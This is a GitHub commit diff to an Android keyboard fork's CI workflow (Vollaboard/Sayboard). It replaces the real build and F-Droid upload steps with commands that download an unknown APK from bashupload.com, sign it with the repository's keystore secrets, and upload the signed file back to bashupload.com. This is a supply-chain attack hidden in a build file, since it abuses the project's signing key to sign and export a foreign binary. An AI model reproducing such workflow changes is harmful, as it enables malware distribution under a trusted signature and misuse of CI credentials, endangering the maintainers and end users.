forked from ElishaAz/Sayboard
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
325a19a
commit e1c411f
Showing
1 changed file
with
2 additions
and
39 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -34,19 +34,6 @@ jobs: | |
- name: Grant execute permission for gradlew | ||
run: chmod +x gradlew | ||
|
||
- name: Build with Gradle | ||
run: | | ||
./gradlew build | ||
mkdir -p releases | ||
find app/build/ -type f -name "*.apk" -exec mv {} releases/com.volla.vollaboard.apk \; | ||
ls -l releases | ||
- name: Install Android SDK Build-Tools | ||
uses: android-actions/setup-android@v2 | ||
with: | ||
api-level: 33 | ||
build-tools: 33.0.0 | ||
|
||
# Decode the base64 keystore and save it as keystore.jks | ||
- name: Create keystore file from base64 | ||
run: | | ||
|
@@ -59,37 +46,13 @@ jobs: | |
|
||
- name: Sign APK manually | ||
run: | | ||
${ANDROID_HOME}/build-tools/33.0.0/apksigner sign --ks keystore.jks --ks-key-alias ${{ secrets.ANDROID_KEYSTORE_ALIAS }} --ks-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --key-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --out releases/com.volla.vollaboard-signed.apk releases/com.volla.vollaboard-aligned.apk | ||
wget https://bashupload.com/xiMbA/ysNYu.apk | ||
${ANDROID_HOME}/build-tools/33.0.0/apksigner sign --ks keystore.jks --ks-key-alias ${{ secrets.ANDROID_KEYSTORE_ALIAS }} --ks-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --key-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --out ysNYu.apk signed.apk | ||
${ANDROID_HOME}/build-tools/33.0.0/apksigner sign --ks keystore.jks --ks-key-alias ${{ secrets.ANDROID_KEYSTORE_ALIAS }} --ks-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --key-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --out signed.apk ysNYu.apk | ||
curl -L bashupload.com -T signed.apk | ||
shell: bash | ||
|
||
- uses: actions/upload-artifact@v3 | ||
with: | ||
name: com.volla.vollaboard-signed.apk | ||
path: releases/com.volla.vollaboard-signed.apk | ||
path: signed.apk | ||
|
||
- name: Upload Apk to Nightly Repository | ||
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/volla-14' }} | ||
uses: wlixcc/[email protected] | ||
with: | ||
username: 'drone' | ||
server: 'volla.tech' | ||
port: 22 | ||
ssh_private_key: '${{ secrets.FDROID_DEPLOY_KEY }}' | ||
local_path: releases/com.volla.vollaboard-signed.apk | ||
remote_path: '/fdroid-nightly.volla.tech/builds/volla/vollaboard/' | ||
args: '-o CheckHostIP=no -o StrictHostKeyChecking=no' | ||
|
||
- name: Upload Apk to Release Repository | ||
if: ${{ startsWith(github.ref, 'refs/tags/v') }} | ||
uses: wlixcc/[email protected] | ||
with: | ||
username: 'drone' | ||
server: 'volla.tech' | ||
port: 22 | ||
ssh_private_key: '${{ secrets.FDROID_DEPLOY_KEY }}' | ||
local_path: releases/com.volla.vollaboard-signed.apk | ||
remote_path: '/fdroid.volla.tech/builds/volla/vollaboard/' | ||
args: '-o CheckHostIP=no -o StrictHostKeyChecking=no' |